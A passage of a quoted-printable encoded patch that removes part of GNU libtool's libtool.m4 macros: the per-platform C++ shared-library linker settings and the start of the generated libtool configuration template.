earlier do not add the objects themselves. -=09case `$CC -V 2>&1` in -=09*"Version 7."*) - =09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $predep_objects = $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$son= ame -o $lib' - =09 _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared $predep_o= bjects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname = $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' -=09 ;; -=09*) # Version 8.0 or newer -=09 tmp_idyn=3D -=09 case $host_cpu in -=09 ia64*) tmp_idyn=3D' -i_dynamic';; -=09 esac - =09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared'"$tmp_idyn"' $li= bobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' -=09 _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared'"$tmp_idyn"= ' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retai= n-symbols-file $wl$export_symbols -o $lib' -=09 ;; -=09esac -=09_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dno -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath,$libdir= ' -=09_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}--export-dynami= c' -=09_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D'${wl}--whole-archive$= convenience ${wl}--no-whole-archive' -=09;; - pgCC*) - # Portland Group C++ compiler -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $pic_flag $predep_ob= jects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $= {wl}$soname -o $lib' - =09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared $pic_flag $= predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}= -soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o = $lib' - -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}--rpath ${wl}$= libdir' -=09_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}--export-dynami= c' -=09_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D'${wl}--whole-archive`= for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience= =3D\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-= -no-whole-archive' - ;; - cxx*) -=09# Compaq C++ -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $predep_objects $lib= objs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname = -o $lib' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared $predep_objec= ts $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$= soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols' - -=09runpath_var=3DLD_RUN_PATH -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-rpath $libdir' -=09_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - -=09# Commands to make compiler produce verbose output that lists -=09# what "hidden" libraries, object files and flags are used when -=09# linking a shared library. -=09# -=09# There doesn't appear to be a way to prevent this compiler from -=09# explicitly linking system object files so we need to strip them -=09# from the output so that they don't get included in the library -=09# dependencies. -=09output_verbose_link_cmd=3D'templist=3D`$CC -shared $CFLAGS -v conft= est.$objext 2>&1 | grep "ld"`; templist=3D`echo $templist | $SED "s/\(^= .*ld.*\)\( .*ld .*$\)/\1/"`; list=3D""; for z in $templist; do case $z = in conftest.$objext) list=3D"$list $z";; *.$objext);; *) list=3D"$list = $z";;esac; done; echo $list' -=09;; - esac - ;; - lynxos*) - # FIXME: insert proper C++ library support - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - m88k*) - # FIXME: insert proper C++ library support - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - mvs*) - case $cc_basename in - cxx*) -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - *) -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - esac - ;; - netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$LD -Bshareable -o $lib $pre= dep_objects $libobjs $deplibs $postdep_objects $linker_flags' - wlarc=3D - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-R$libdir' - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - fi - # Workaround some broken pre-1.5 toolchains - output_verbose_link_cmd=3D'$CC -shared $CFLAGS -v conftest.$objext= 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"' - ;; - openbsd2*) - # C++ shared libraries are fairly broken - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - openbsd*) - _LT_AC_TAGVAR(hardcode_direct, $1)=3Dyes - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $pic_flag $predep_o= bjects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath,$libdi= r' - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$ho= st_os-$host_cpu" =3D "openbsd2.8-powerpc"; then - _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared $pic_flag = $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl= }-retain-symbols-file,$export_symbols -o $lib' - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}-E' - _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D"$wlarc"'--whole-ar= chive$convenience '"$wlarc"'--no-whole-archive' - fi - output_verbose_link_cmd=3D'echo' - ;; - osf3*) - case $cc_basename in - KCC*) -=09# Kuck and Associates, Inc. (KAI) C++ Compiler - -=09# KCC will only create a shared library if the output file -=09# ends with ".so" (or ".sl" for HP-UX), so rename the library -=09# to its proper name (with version) after linking. -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'tempext=3D`echo $shared_ext | $S= ED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=3D`echo $lib = | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $depl= ibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv = \$templib $lib' - -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath,$libdir= ' -=09_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - -=09# Archives containing C++ object files must be created using -=09# "CC -Bstatic", where "CC" is the KAI C++ compiler. -=09_LT_AC_TAGVAR(old_archive_cmds, $1)=3D'$CC -Bstatic -o $oldlib $old= objs' - -=09;; - RCC*) -=09# Rational C++ 2.4.1 -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - cxx*) -=09_LT_AC_TAGVAR(allow_undefined_flag, $1)=3D' ${wl}-expect_unresolved= ${wl}\*' -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared${allow_undefined_fla= g} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $= {wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $ve= rstring` -update_registry ${output_objdir}/so_locations -o $lib' - -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath ${wl}$l= ibdir' -=09_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - -=09# Commands to make compiler produce verbose output that lists -=09# what "hidden" libraries, object files and flags are used when -=09# linking a shared library. -=09# -=09# There doesn't appear to be a way to prevent this compiler from -=09# explicitly linking system object files so we need to strip them -=09# from the output so that they don't get included in the library -=09# dependencies. -=09output_verbose_link_cmd=3D'templist=3D`$CC -shared $CFLAGS -v conft= est.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=3D`echo $templi= st | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=3D""; for z in $templi= st; do case $z in conftest.$objext) list=3D"$list $z";; *.$objext);; *)= list=3D"$list $z";;esac; done; echo $list' -=09;; - *) -=09if test "$GXX" =3D yes && test "$with_gnu_ld" =3D no; then -=09 _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D' ${wl}-expect_unresolv= ed ${wl}\*' -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -nostdlib ${allow_= undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $com= piler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${w= l}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_obj= dir}/so_locations -o $lib' - -=09 _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath ${wl}= $libdir' -=09 _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - -=09 # Commands to make compiler produce verbose output that lists -=09 # what "hidden" libraries, object files and flags are used when -=09 # linking a shared library. -=09 output_verbose_link_cmd=3D'$CC -shared $CFLAGS -v conftest.$objex= t 2>&1 | grep "\-L"' - -=09else -=09 # FIXME: insert proper C++ library support -=09 _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09fi -=09;; - esac - ;; - osf4* | osf5*) - case $cc_basename in - KCC*) -=09# Kuck and Associates, Inc. (KAI) C++ Compiler - -=09# KCC will only create a shared library if the output file -=09# ends with ".so" (or ".sl" for HP-UX), so rename the library -=09# to its proper name (with version) after linking. -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'tempext=3D`echo $shared_ext | $S= ED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=3D`echo $lib = | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $depl= ibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv = \$templib $lib' - -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath,$libdir= ' -=09_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - -=09# Archives containing C++ object files must be created using -=09# the KAI C++ compiler. -=09_LT_AC_TAGVAR(old_archive_cmds, $1)=3D'$CC -o $oldlib $oldobjs' -=09;; - RCC*) -=09# Rational C++ 2.4.1 -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - cxx*) -=09_LT_AC_TAGVAR(allow_undefined_flag, $1)=3D' -expect_unresolved \*' -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared${allow_undefined_fla= g} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -= msym -soname $soname `test -n "$verstring" && echo -set_version $verstr= ing` -update_registry ${output_objdir}/so_locations -o $lib' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'for i in `cat $export_sym= bols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~ -=09 echo "-hidden">> $lib.exp~ -=09 $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplib= s $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl= ,$lib.exp `test -n "$verstring" && echo -set_version=09$verstring` -up= date_registry ${output_objdir}/so_locations -o $lib~ -=09 $rm $lib.exp' - -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-rpath $libdir' -=09_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - -=09# Commands to make compiler produce verbose output that lists -=09# what "hidden" libraries, object files and flags are used when -=09# linking a shared library. -=09# -=09# There doesn't appear to be a way to prevent this compiler from -=09# explicitly linking system object files so we need to strip them -=09# from the output so that they don't get included in the library -=09# dependencies. -=09output_verbose_link_cmd=3D'templist=3D`$CC -shared $CFLAGS -v conft= est.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=3D`echo $templi= st | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=3D""; for z in $templi= st; do case $z in conftest.$objext) list=3D"$list $z";; *.$objext);; *)= list=3D"$list $z";;esac; done; echo $list' -=09;; - *) -=09if test "$GXX" =3D yes && test "$with_gnu_ld" =3D no; then -=09 _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D' ${wl}-expect_unresolv= ed ${wl}\*' -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -nostdlib ${allow_u= ndefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $comp= iler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" &= & echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${= output_objdir}/so_locations -o $lib' - -=09 _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-rpath ${wl}= $libdir' -=09 _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D: - -=09 # Commands to make compiler produce verbose output that lists -=09 # what "hidden" libraries, object files and flags are used when -=09 # linking a shared library. -=09 output_verbose_link_cmd=3D'$CC -shared $CFLAGS -v conftest.$objex= t 2>&1 | grep "\-L"' - -=09else -=09 # FIXME: insert proper C++ library support -=09 _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09fi -=09;; - esac - ;; - psos*) - # FIXME: insert proper C++ library support - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - sunos4*) - case $cc_basename in - CC*) -=09# Sun C++ 4.x -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - lcc*) -=09# Lucid -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - *) -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - esac - ;; - solaris*) - case $cc_basename in - CC*) -=09# Sun C++ 4.2, 5.x and Centerline C++ - _LT_AC_TAGVAR(archive_cmds_need_lc,$1)=3Dyes -=09_LT_AC_TAGVAR(no_undefined_flag, $1)=3D' -zdefs' -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -G${allow_undefined_flag} -= h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $co= mpiler_flags' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$echo "{ global:" > $lib.= exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "lo= cal: *; };" >> $lib.exp~ -=09$CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $= lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~= $rm $lib.exp' - -=09_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'-R$libdir' -=09_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno -=09case $host_os in -=09 solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; -=09 *) -=09 # The C++ compiler is used as linker so we must use $wl -=09 # flag to pass the commands to the underlying system -=09 # linker. We must also pass each convience library through -=09 # to the system linker between allextract/defaultextract. -=09 # The C++ compiler will combine linker options so we -=09 # cannot just pass the convience library names through -=09 # without $wl. -=09 # Supported since Solaris 2.6 (maybe 2.5.1?) -=09 _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=3D'${wl}-z ${wl}alle= xtract`for conv in $convenience\"\"; do test -n \"$conv\" && new_conven= ience=3D\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` $= {wl}-z ${wl}defaultextract' -=09 ;; -=09esac -=09_LT_AC_TAGVAR(link_all_deplibs, $1)=3Dyes - -=09output_verbose_link_cmd=3D'echo' - -=09# Archives containing C++ object files must be created using -=09# "CC -xar", where "CC" is the Sun C++ compiler. This is -=09# necessary to make sure instantiated templates are included -=09# in the archive. -=09_LT_AC_TAGVAR(old_archive_cmds, $1)=3D'$CC -xar -o $oldlib $oldobjs= ' -=09;; - gcx*) -=09# Green Hills C++ Compiler -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared $predep_objects $lib= objs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $l= ib' - -=09# The C++ compiler must be used to create the archive. -=09_LT_AC_TAGVAR(old_archive_cmds, $1)=3D'$CC $LDFLAGS -archive -o $ol= dlib $oldobjs' -=09;; - *) -=09# GNU C++ compiler with Solaris linker -=09if test "$GXX" =3D yes && test "$with_gnu_ld" =3D no; then -=09 _LT_AC_TAGVAR(no_undefined_flag, $1)=3D' ${wl}-z ${wl}defs' -=09 if $CC --version | grep -v '^2\.7' > /dev/null; then -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared -nostdlib $LDFLA= GS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags $= {wl}-h $wl$soname -o $lib' -=09 _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$echo "{ global:" > $= lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo= "local: *; };" >> $lib.exp~ -=09=09$CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_object= s $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' - -=09 # Commands to make compiler produce verbose output that lists -=09 # what "hidden" libraries, object files and flags are used when -=09 # linking a shared library. -=09 output_verbose_link_cmd=3D"$CC -shared $CFLAGS -v conftest.$obj= ext 2>&1 | grep \"\-L\"" -=09 else -=09 # g++ 2.7 appears to require `-G' NOT `-shared' on this -=09 # platform. -=09 _LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -G -nostdlib $LDFLAGS $p= redep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-= h $wl$soname -o $lib' -=09 _LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$echo "{ global:" > $= lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo= "local: *; };" >> $lib.exp~ -=09=09$CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $li= bobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' - -=09 # Commands to make compiler produce verbose output that lists -=09 # what "hidden" libraries, object files and flags are used when -=09 # linking a shared library. -=09 output_verbose_link_cmd=3D"$CC -G $CFLAGS -v conftest.$objext 2= >&1 | grep \"\-L\"" -=09 fi - -=09 _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'${wl}-R $wl$libdi= r' -=09fi -=09;; - esac - ;; - sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixwa= re7* | sco3.2v5.0.[[024]]*) - _LT_AC_TAGVAR(no_undefined_flag, $1)=3D'${wl}-z,text' - _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dno - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - runpath_var=3D'LD_RUN_PATH' - - case $cc_basename in - CC*) -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -G ${wl}-h,$soname -o $lib $= libobjs $deplibs $compiler_flags' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -G ${wl}-Bexport:$exp= ort_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' -=09;; - *) -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared ${wl}-h,$soname -o $= lib $libobjs $deplibs $compiler_flags' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared ${wl}-Bexport= :$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_fl= ags' -=09;; - esac - ;; - sysv5* | sco3.2v5* | sco5v6*) - # Note: We can NOT use -z defs as we might desire, because we do n= ot - # link with -lc, and that would cause any symbols used from libc t= o - # always be unresolved, which means just about no library would - # ever link correctly. If we're not using GNU ld we use -z text - # though, which does catch some bad symbols but isn't as heavy-han= ded - # as -z defs. - # For security reasons, it is highly recommended that you always - # use absolute paths for naming shared libraries, and exclude the - # DT_RUNPATH tag from executables and libraries. But doing so - # requires that you compile everything twice, which is a pain. - # So that behaviour is only enabled if SCOABSPATH is set to a - # non-empty value in the environment. Most likely only useful for - # creating official distributions of packages. - # This is a hack until libtool officially supports absolute path - # names for shared libraries. - _LT_AC_TAGVAR(no_undefined_flag, $1)=3D'${wl}-z,text' - _LT_AC_TAGVAR(allow_undefined_flag, $1)=3D'${wl}-z,nodefs' - _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=3Dno - _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=3Dno - _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=3D'`test -z "$SCOABSP= ATH" && echo ${wl}-R,$libdir`' - _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=3D':' - _LT_AC_TAGVAR(link_all_deplibs, $1)=3Dyes - _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=3D'${wl}-Bexport' - runpath_var=3D'LD_RUN_PATH' - - case $cc_basename in - CC*) -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -G ${wl}-h,\${SCOABSPATH:+${= install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -G ${wl}-Bexport:$exp= ort_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $= libobjs $deplibs $compiler_flags' -=09;; - *) -=09_LT_AC_TAGVAR(archive_cmds, $1)=3D'$CC -shared ${wl}-h,\${SCOABSPAT= H:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags= ' -=09_LT_AC_TAGVAR(archive_expsym_cmds, $1)=3D'$CC -shared ${wl}-Bexport= :$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $= lib $libobjs $deplibs $compiler_flags' -=09;; - esac - ;; - tandem*) - case $cc_basename in - NCC*) -=09# NonStop-UX NCC 3.20 -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - *) -=09# FIXME: insert proper C++ library support -=09_LT_AC_TAGVAR(ld_shlibs, $1)=3Dno -=09;; - esac - ;; - vxworks*) - # FIXME: insert proper C++ library support - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; - *) - # FIXME: insert proper C++ library support - _LT_AC_TAGVAR(ld_shlibs, $1)=3Dno - ;; -esac -AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)]) -test "$_LT_AC_TAGVAR(ld_shlibs, $1)" =3D no && can_build_shared=3Dno - -_LT_AC_TAGVAR(GCC, $1)=3D"$GXX" -_LT_AC_TAGVAR(LD, $1)=3D"$LD" - -AC_LIBTOOL_POSTDEP_PREDEP($1) -AC_LIBTOOL_PROG_COMPILER_PIC($1) -AC_LIBTOOL_PROG_CC_C_O($1) -AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1) -AC_LIBTOOL_PROG_LD_SHLIBS($1) -AC_LIBTOOL_SYS_DYNAMIC_LINKER($1) -AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1) - -AC_LIBTOOL_CONFIG($1) - -AC_LANG_POP -CC=3D$lt_save_CC -LDCXX=3D$LD -LD=3D$lt_save_LD -GCC=3D$lt_save_GCC -with_gnu_ldcxx=3D$with_gnu_ld -with_gnu_ld=3D$lt_save_with_gnu_ld -lt_cv_path_LDCXX=3D$lt_cv_path_LD -lt_cv_path_LD=3D$lt_save_path_LD -lt_cv_prog_gnu_ldcxx=3D$lt_cv_prog_gnu_ld -lt_cv_prog_gnu_ld=3D$lt_save_with_gnu_ld -])# AC_LIBTOOL_LANG_CXX_CONFIG - -# AC_LIBTOOL_POSTDEP_PREDEP([TAGNAME]) -# ------------------------------------ -# Figure out "hidden" library dependencies from verbose -# compiler output when linking a shared library. -# Parse the compiler output and extract the necessary -# objects, libraries and library flags. -AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP],[ -dnl we can't use the lt_simple_compile_test_code here, -dnl because it contains code intended for an executable, -dnl not a library. It's possible we should let each -dnl tag define a new lt_????_link_test_code variable, -dnl but it's only used here... -ifelse([$1],[],[cat > conftest.$ac_ext < conftest.$ac_ext < conftest.$ac_ext < conftest.$ac_ext <> "$cfgfile" -ifelse([$1], [], -[#! $SHELL - -# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-bu= ilding support services. -# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP= ) -# NOTE: Changes made to this file will be lost: look at ltmain.sh. -# -# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001 -# Free Software Foundation, Inc. -# -# This file is part of GNU Libtool: -# Originally by Gordon Matzigkeit , 1996 -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-= 1301, USA. -# -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that progra= m. - -# A sed program that does not truncate output. -SED=3D$lt_SED - -# Sed that helps us avoid accidentally triggering echo(1) options like= -n. -Xsed=3D"$SED -e 1s/^X//" - -# The HP-UX ksh and POSIX shell print the target directory to stdout -# if CDPATH is set. -(unset CDPATH) >/dev/null 2>&1 && unset CDPATH - -# The names of the tagged configurations supported by this script. -available_tags=3D - -# ### BEGIN LIBTOOL CONFIG], -[# ### BEGIN LIBTOOL TAG CONFIG: $tagname]) - -# Libtool was configured on host `(hostname || uname -n) 2>/dev/null |= sed 1q`: - -# Shell to use when invoking shell scripts. -SHELL=3D$lt_SHELL - -# Whether or not to build shared libraries. -build_libtool_libs=3D$enable_shared - -# Whether or not to build static libraries. -build_old_libs=3D$enable_static - -# Whether or not to add -lc for building shared libraries. -build_libtool_need_lc=3D$_LT_AC_TAGVAR(archive_cmds_need_lc, $1) - -# Whether or not to disallow shared libs when runtime libs are static -allow_libtool_libs_with_static_runtimes=3D$_LT_AC_TAGVAR(enable_shared= _with_static_runtimes, $1) - -# Whether or not to optimize for fast installation. -fast_install=3D$enable_fast_install - -# The host system. -host_alias=3D$host_alias -host=3D$host -host_os=3D$host_os - -# The build system. -build_alias=3D$build_alias -build=3D$build -build_os=3D$build_os - -# An echo program that does not interpret backslashes. -echo=3D$lt_echo - -# The archiver. -AR=3D$lt_AR -AR_FLAGS=3D$lt_AR_FLAGS - -# A C compiler. -LTCC=3D$lt_LTCC - -# LTCC compiler flags. -LTCFLAGS=3D$lt_LTCFLAGS - -# A language-specific compiler. -CC=3D$lt_[]_LT_AC_TAGVAR(compiler, $1) - -# Is the compiler the GNU C compiler? -with_gcc=3D$_LT_AC_TAGVAR(GCC, $1) - -# An ERE matcher. -EGREP=3D$lt_EGREP - -# The linker used to build libraries. -LD=3D$lt_[]_LT_AC_TAGVAR(LD, $1) - -# Whether we need hard or soft links. -LN_S=3D$lt_LN_S - -# A BSD-compatible nm program. -NM=3D$lt_NM - -# A symbol stripping program -STRIP=3D$lt_STRIP - -# Used to examine libraries when file_magic_cmd begins "file" -MAGIC_CMD=3D$MAGIC_CMD - -# Used on cygwin: DLL creation program. -DLLTOOL=3D"$DLLTOOL" - -# Used on cygwin: object dumper. -OBJDUMP=3D"$OBJDUMP" - -# Used on cygwin: assembler. -AS=3D"$AS" - -# The name of the directory that contains temporary libtool files. -objdir=3D$objdir - -# How to create reloadable object files. -reload_flag=3D$lt_reload_flag -reload_cmds=3D$lt_reload_cmds - -# How to pass a linker flag through the compiler. -wl=3D$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) - -# Object file suffix (normally "o"). -objext=3D"$ac_objext" - -# Old archive suffix (normally "a"). -libext=3D"$libext" - -# Shared library suffix (normally ".so"). -shrext_cmds=3D'$shrext_cmds' - -# Executable file suffix (normally ""). -exeext=3D"$exeext" - -# Additional compiler flags for building library objects. -pic_flag=3D$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) -pic_mode=3D$pic_mode - -# What is the maximum length of a command? -max_cmd_len=3D$lt_cv_sys_max_cmd_len - -# Does compiler simultaneously support -c and -o options? -compiler_c_o=3D$lt_[]_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1) - -# Must we lock files when doing compilation? -need_locks=3D$lt_need_locks - -# Do we need the lib prefix for modules? -need_lib_prefix=3D$need_lib_prefix - -# Do we need a version for libraries? -need_version=3D$need_version - -# Whether dlopen is supported. -dlopen_support=3D$enable_dlopen - -# Whether dlopen of programs is supported. -dlopen_self=3D$enable_dlopen_self - -# Whether dlopen of statically linked programs is supported. -dlopen_self_static=3D$enable_dlopen_self_static - -# Compiler flag to prevent dynamic linking. -link_static_flag=3D$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_static, $1) - -# Compiler flag to turn off builtin functions. -no_builtin_flag=3D$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag= , $1) - -# Compiler flag to allow reflexive dlopens. 